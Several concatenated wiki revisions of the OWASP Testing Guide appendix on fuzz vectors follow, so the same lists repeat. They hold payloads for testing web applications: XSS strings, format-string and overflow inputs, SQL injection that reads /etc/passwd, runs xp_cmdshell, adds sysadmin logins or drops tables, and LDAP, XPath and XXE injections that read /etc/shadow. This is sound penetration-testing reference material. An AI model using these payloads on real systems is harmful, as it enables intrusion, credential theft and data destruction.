<nowiki><IMGSRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058
&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki> 
<nowiki><IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28
&#x27&#x58&#x53&#x53&#x27&#x29></nowiki> 
<nowiki><IMG SRC="jav&#x09;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

=== Buffer Overflows and Format String Errors ===

==== Buffer Overflows (BFO) ====
A buffer overflow or memory corruption attack is a programming condition which allows overflowing of valid data beyond its prelocated storage limit in memory.

For details on Buffer Overflows: [[Buffer_Overflow_Testing_AoC]]

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki>
<nowiki>A x 17</nowiki>
<nowiki>A x 33</nowiki>
<nowiki>A x 65</nowiki>
<nowiki>A x 129</nowiki>
<nowiki>A x 257</nowiki>
<nowiki>A x 513</nowiki>
<nowiki>A x 1024</nowiki>
<nowiki>A x 2049</nowiki>
<nowiki>A x 4097</nowiki>
<nowiki>A x 8193</nowiki>
<nowiki>A x 12288</nowiki>

==== Format String Errors (FSE) ====

Format string attacks are a class of vulnerabilities which involve supplying language specific format tokens in order to execute arbitrary code or crash a program. Fuzzing for such errors has as an objective to check for unfiltered user input.

An excellent introduction on FSE can be found in the USENIX paper entitled: [http://www.usenix.net/publications/library/proceedings/sec01/full_papers/shankar/shankar_html/index.html Detecting Format String Vulnerabilities with Type Qualifiers]

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>%s%p%x%d</nowiki>
<nowiki>.1024d</nowiki>
<nowiki>%.2049d</nowiki>
<nowiki>%p%p%p%p</nowiki>
<nowiki>%x%x%x%x</nowiki>
<nowiki>%d%d%d%d</nowiki>
<nowiki>%s%s%s%s</nowiki>
<nowiki>%99999999999s</nowiki>
<nowiki>%08x</nowiki>
<nowiki>%%20d</nowiki>
<nowiki>%%20n</nowiki>
<nowiki>%%20x</nowiki>
<nowiki>%%20s</nowiki>
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki>
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki>
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki>
<nowiki>%s x 129</nowiki>
<nowiki>%x x 257</nowiki>

==== Integer Overflows (INT) ====

Integer overflow errors occur when a program fails to account for the fact that an arithmetic operation can result in a quantity either greater than a data type's maximum value or less than its minimum value. If an attacker can cause the program to perform such a memory allocation, the program can be potentially vulnerabie to a buffer overflow attack.

<nowiki>-1</nowiki>
<nowiki>0</nowiki>
<nowiki>0x100</nowiki>
<nowiki>0x1000</nowiki>
<nowiki>0x3fffffff</nowiki>
<nowiki>0x7ffffffe</nowiki>
<nowiki>0x7fffffff</nowiki>
<nowiki>0x80000000</nowiki>
<nowiki>0xfffffffe</nowiki>
<nowiki>0xffffffff</nowiki>
<nowiki>0x10000</nowiki>
<nowiki>0x100000</nowiki>

=== SQL Injection ===

This attack can affect the database layer of an application and is typically present when user input is not filtered for SQL statements.

For details on Testing SQL Injection: [[Testing_for_SQL_Injection]]

SQL Injection is classified in the following two categories, depending on the exposure of database information (passive) or the alteration of database information (active).

* Passive SQL Injection
* Active SQL Injection

Active SQL Injection statements can have a detrimental effect on the underllying database if successfully executed.

==== Passive SQL Injection (SQP) ====

<nowiki>'||(elt(-3+5,bin(15),ord(10),hex(char(45))))</nowiki>
<nowiki>||6</nowiki>
<nowiki>'||'6</nowiki>
<nowiki>(||6)</nowiki>
<nowiki>' OR 1=1--</nowiki>
<nowiki>OR 1=1</nowiki>
<nowiki>' OR '1'='1</nowiki>
<nowiki>; OR '1'='1'</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+</nowiki>
<nowiki>' or 1=1--</nowiki>
<nowiki>" or 1=1--</nowiki>
<nowiki>' or 1=1 /*</nowiki>
<nowiki>or 1=1--</nowiki>
<nowiki>' or 'a'='a</nowiki>
<nowiki>" or "a"="a</nowiki>
<nowiki>') or ('a'='a</nowiki>
<nowiki>Admin' OR '</nowiki>
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki>
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' group by userid having 1=1--</nowiki>
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki>
<nowiki>' or 1 in (select @@version)--</nowiki>
<nowiki>' union all select @@version--</nowiki>
<nowiki>' OR 'unusual' = 'unusual'</nowiki>
<nowiki>' OR 'something' = 'some'+'thing'</nowiki>
<nowiki>' OR 'text' = N'text'</nowiki>
<nowiki>' OR 'something' like 'some%'</nowiki>
<nowiki>' OR 2 > 1</nowiki>
<nowiki>' OR 'text' > 't'</nowiki>
<nowiki>' OR 'whatever' in ('whatever')</nowiki>
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki>
<nowiki>' or username like char(37);</nowiki>
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki>
<nowiki>' union select </nowiki>
<nowiki>Password:*/=1--</nowiki>
<nowiki>UNI/**/ON SEL/**/ECT</nowiki>
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki>
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki>
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki>
<nowiki>' or 1/*</nowiki>
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+&password=</nowiki>
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --</nowiki> 
<nowiki>' and 1 in (select var from temp)--</nowiki>
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki>
<nowiki>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki>
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki>

==== Active SQL Injection (SQI) ====

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki>
<nowiki>' ; drop table temp --</nowiki>
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki>
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki>
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki>
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki>
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki>

=== LDAP Injection ===

For details on LDAP Injection: [[LDAP_Injection_Testing_AoC]]

<nowiki>|</nowiki>
<nowiki>!</nowiki>
<nowiki>(</nowiki>
<nowiki>)</nowiki>
<nowiki>%28</nowiki>
<nowiki>%29</nowiki>
<nowiki>&</nowiki>
<nowiki>%26</nowiki>
<nowiki>%21</nowiki>
<nowiki>%7C</nowiki>
<nowiki>*|</nowiki>
<nowiki>%2A%7C</nowiki>
<nowiki>*(|(mail=*))</nowiki>
<nowiki>%2A%28%7C%28mail%3D%2A%29%29</nowiki>
<nowiki>*(|(objectclass=*))</nowiki>
<nowiki>%2A%28%7C%28objectclass%3D%2A%29%29</nowiki>
<nowiki>*()|%26'</nowiki>
<nowiki>admin*</nowiki>
<nowiki>admin*)((|userPassword=*)</nowiki>
<nowiki>*)(uid=*))(|(uid=*</nowiki>

=== XPATH Injection ===

For details on XPATH Injection: [[XPath_Injection_Testing_AoC]]

<nowiki>'+or+'1'='1</nowiki>
<nowiki>'+or+''='</nowiki>
<nowiki>x'+or+1=1+or+'x'='y</nowiki>
<nowiki>/</nowiki>
<nowiki>//</nowiki>
<nowiki>//*</nowiki>
<nowiki>*/*</nowiki>
<nowiki>@*</nowiki>
<nowiki>count(/child::node())</nowiki>
<nowiki>x'+or+name()='username'+or+'x'='y</nowiki>

=== XML Injection ===

Details on XML Injection here: [[XML_Injection_Testing_AoC]]

<nowiki><![CDATA[<script>var n=0;while(true){n++;}</script>]]></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo></nowiki>

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide Appendix C: Fuzz Vectors

2006-12-13T23:56:23Z

Subere: /* SQL Injection */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

The following are fuzzing vectors which can be used with [[WebScarab]], [[JBroFuzz]], [[WSFuzzer]], or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replacive fuzzing

We examine and define each category in the sub-sections that follow.

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.example.com/00000000</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/11000fff</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/ffffffff</nowiki>
</pre>

==== Replacive fuzzing ====

Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

<pre>
<nowiki>http://www.example.com/>"><script>alert("XSS")</script>&</nowiki>
<nowiki>http://www.example.com/'';!--"<XSS>=&{()}</nowiki>
</pre>

This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

For details on XSS: [[Cross_site_scripting_AoC]]

<nowiki>>"><script>alert("XSS")</script>&</nowiki>
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki>
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki> 
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki>
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki>
<nowiki>"></nowiki>
<nowiki>>"</nowiki>
<nowiki>'';!--"<XSS>=&{()}</nowiki>
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)></nowiki>
<nowiki><IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41></nowiki>
<nowiki><IMGSRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058
&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki> 
<nowiki><IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28
&#x27&#x58&#x53&#x53&#x27&#x29></nowiki> 
<nowiki><IMG SRC="jav&#x09;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

=== Buffer Overflows and Format String Errors ===

==== Buffer Overflows (BFO) ====
A buffer overflow or memory corruption attack is a programming condition which allows overflowing of valid data beyond its prelocated storage limit in memory.

For details on Buffer Overflows: [[Buffer_Overflow_Testing_AoC]]

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki>
<nowiki>A x 17</nowiki>
<nowiki>A x 33</nowiki>
<nowiki>A x 65</nowiki>
<nowiki>A x 129</nowiki>
<nowiki>A x 257</nowiki>
<nowiki>A x 513</nowiki>
<nowiki>A x 1024</nowiki>
<nowiki>A x 2049</nowiki>
<nowiki>A x 4097</nowiki>
<nowiki>A x 8193</nowiki>
<nowiki>A x 12288</nowiki>

==== Format String Errors (FSE) ====

Format string attacks are a class of vulnerabilities which involve supplying language specific format tokens in order to execute arbitrary code or crash a program. Fuzzing for such errors has as an objective to check for unfiltered user input.

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>%s%p%x%d</nowiki>
<nowiki>.1024d</nowiki>
<nowiki>%.2049d</nowiki>
<nowiki>%p%p%p%p</nowiki>
<nowiki>%x%x%x%x</nowiki>
<nowiki>%d%d%d%d</nowiki>
<nowiki>%s%s%s%s</nowiki>
<nowiki>%99999999999s</nowiki>
<nowiki>%08x</nowiki>
<nowiki>%%20d</nowiki>
<nowiki>%%20n</nowiki>
<nowiki>%%20x</nowiki>
<nowiki>%%20s</nowiki>
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki>
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki>
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki>
<nowiki>%s x 129</nowiki>
<nowiki>%x x 257</nowiki>

==== Integer Overflows (INT) ====

Integer overflow errors occur when a program fails to account for the fact that an arithmetic operation can result in a quantity either greater than a data type's maximum value or less than its minimum value. If an attacker can cause the program to perform such a memory allocation, the program can be potentially vulnerabie to a buffer overflow attack.

<nowiki>-1</nowiki>
<nowiki>0</nowiki>
<nowiki>0x100</nowiki>
<nowiki>0x1000</nowiki>
<nowiki>0x3fffffff</nowiki>
<nowiki>0x7ffffffe</nowiki>
<nowiki>0x7fffffff</nowiki>
<nowiki>0x80000000</nowiki>
<nowiki>0xfffffffe</nowiki>
<nowiki>0xffffffff</nowiki>
<nowiki>0x10000</nowiki>
<nowiki>0x100000</nowiki>

=== SQL Injection ===

This attack can affect the database layer of an application and is typically present when user input is not filtered for SQL statements.

For details on Testing SQL Injection: [[Testing_for_SQL_Injection]]

SQL Injection is classified in the following two categories, depending on the exposure of database information (passive) or the alteration of database information (active).

* Passive SQL Injection
* Active SQL Injection

Active SQL Injection statements can have a detrimental effect on the underllying database if successfully executed.

==== Passive SQL Injection (SQP) ====

<nowiki>'||(elt(-3+5,bin(15),ord(10),hex(char(45))))</nowiki>
<nowiki>||6</nowiki>
<nowiki>'||'6</nowiki>
<nowiki>(||6)</nowiki>
<nowiki>' OR 1=1--</nowiki>
<nowiki>OR 1=1</nowiki>
<nowiki>' OR '1'='1</nowiki>
<nowiki>; OR '1'='1'</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+</nowiki>
<nowiki>' or 1=1--</nowiki>
<nowiki>" or 1=1--</nowiki>
<nowiki>' or 1=1 /*</nowiki>
<nowiki>or 1=1--</nowiki>
<nowiki>' or 'a'='a</nowiki>
<nowiki>" or "a"="a</nowiki>
<nowiki>') or ('a'='a</nowiki>
<nowiki>Admin' OR '</nowiki>
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki>
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' group by userid having 1=1--</nowiki>
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki>
<nowiki>' or 1 in (select @@version)--</nowiki>
<nowiki>' union all select @@version--</nowiki>
<nowiki>' OR 'unusual' = 'unusual'</nowiki>
<nowiki>' OR 'something' = 'some'+'thing'</nowiki>
<nowiki>' OR 'text' = N'text'</nowiki>
<nowiki>' OR 'something' like 'some%'</nowiki>
<nowiki>' OR 2 > 1</nowiki>
<nowiki>' OR 'text' > 't'</nowiki>
<nowiki>' OR 'whatever' in ('whatever')</nowiki>
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki>
<nowiki>' or username like char(37);</nowiki>
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki>
<nowiki>' union select </nowiki>
<nowiki>Password:*/=1--</nowiki>
<nowiki>UNI/**/ON SEL/**/ECT</nowiki>
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki>
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki>
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki>
<nowiki>' or 1/*</nowiki>
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+&password=</nowiki>
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --</nowiki> 
<nowiki>' and 1 in (select var from temp)--</nowiki>
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki>
<nowiki>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki>
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki>

==== Active SQL Injection (SQI) ====

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki>
<nowiki>' ; drop table temp --</nowiki>
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki>
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki>
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki>
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki>
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki>

=== LDAP Injection ===

For details on LDAP Injection: [[LDAP_Injection_Testing_AoC]]

<nowiki>|</nowiki>
<nowiki>!</nowiki>
<nowiki>(</nowiki>
<nowiki>)</nowiki>
<nowiki>%28</nowiki>
<nowiki>%29</nowiki>
<nowiki>&</nowiki>
<nowiki>%26</nowiki>
<nowiki>%21</nowiki>
<nowiki>%7C</nowiki>
<nowiki>*|</nowiki>
<nowiki>%2A%7C</nowiki>
<nowiki>*(|(mail=*))</nowiki>
<nowiki>%2A%28%7C%28mail%3D%2A%29%29</nowiki>
<nowiki>*(|(objectclass=*))</nowiki>
<nowiki>%2A%28%7C%28objectclass%3D%2A%29%29</nowiki>
<nowiki>*()|%26'</nowiki>
<nowiki>admin*</nowiki>
<nowiki>admin*)((|userPassword=*)</nowiki>
<nowiki>*)(uid=*))(|(uid=*</nowiki>

=== XPATH Injection ===

For details on XPATH Injection: [[XPath_Injection_Testing_AoC]]

<nowiki>'+or+'1'='1</nowiki>
<nowiki>'+or+''='</nowiki>
<nowiki>x'+or+1=1+or+'x'='y</nowiki>
<nowiki>/</nowiki>
<nowiki>//</nowiki>
<nowiki>//*</nowiki>
<nowiki>*/*</nowiki>
<nowiki>@*</nowiki>
<nowiki>count(/child::node())</nowiki>
<nowiki>x'+or+name()='username'+or+'x'='y</nowiki>

=== XML Injection ===

Details on XML Injection here: [[XML_Injection_Testing_AoC]]

<nowiki><![CDATA[<script>var n=0;while(true){n++;}</script>]]></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo></nowiki>

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide Appendix C: Fuzz Vectors

2006-12-13T23:51:52Z

Subere: /* Integer Overflows (INT) */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

The following are fuzzing vectors which can be used with [[WebScarab]], [[JBroFuzz]], [[WSFuzzer]], or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replacive fuzzing

We examine and define each category in the sub-sections that follow.

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.example.com/00000000</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/11000fff</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/ffffffff</nowiki>
</pre>

==== Replacive fuzzing ====

Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

<pre>
<nowiki>http://www.example.com/>"><script>alert("XSS")</script>&</nowiki>
<nowiki>http://www.example.com/'';!--"<XSS>=&{()}</nowiki>
</pre>

This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

For details on XSS: [[Cross_site_scripting_AoC]]

<nowiki>>"><script>alert("XSS")</script>&</nowiki>
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki>
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki> 
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki>
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki>
<nowiki>"></nowiki>
<nowiki>>"</nowiki>
<nowiki>'';!--"<XSS>=&{()}</nowiki>
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)></nowiki>
<nowiki><IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41></nowiki>
<nowiki><IMGSRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058
&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki> 
<nowiki><IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28
&#x27&#x58&#x53&#x53&#x27&#x29></nowiki> 
<nowiki><IMG SRC="jav&#x09;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

=== Buffer Overflows and Format String Errors ===

==== Buffer Overflows (BFO) ====
A buffer overflow or memory corruption attack is a programming condition which allows overflowing of valid data beyond its prelocated storage limit in memory.

For details on Buffer Overflows: [[Buffer_Overflow_Testing_AoC]]

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki>
<nowiki>A x 17</nowiki>
<nowiki>A x 33</nowiki>
<nowiki>A x 65</nowiki>
<nowiki>A x 129</nowiki>
<nowiki>A x 257</nowiki>
<nowiki>A x 513</nowiki>
<nowiki>A x 1024</nowiki>
<nowiki>A x 2049</nowiki>
<nowiki>A x 4097</nowiki>
<nowiki>A x 8193</nowiki>
<nowiki>A x 12288</nowiki>

==== Format String Errors (FSE) ====

Format string attacks are a class of vulnerabilities which involve supplying language specific format tokens in order to execute arbitrary code or crash a program. Fuzzing for such errors has as an objective to check for unfiltered user input.

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>%s%p%x%d</nowiki>
<nowiki>.1024d</nowiki>
<nowiki>%.2049d</nowiki>
<nowiki>%p%p%p%p</nowiki>
<nowiki>%x%x%x%x</nowiki>
<nowiki>%d%d%d%d</nowiki>
<nowiki>%s%s%s%s</nowiki>
<nowiki>%99999999999s</nowiki>
<nowiki>%08x</nowiki>
<nowiki>%%20d</nowiki>
<nowiki>%%20n</nowiki>
<nowiki>%%20x</nowiki>
<nowiki>%%20s</nowiki>
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki>
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki>
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki>
<nowiki>%s x 129</nowiki>
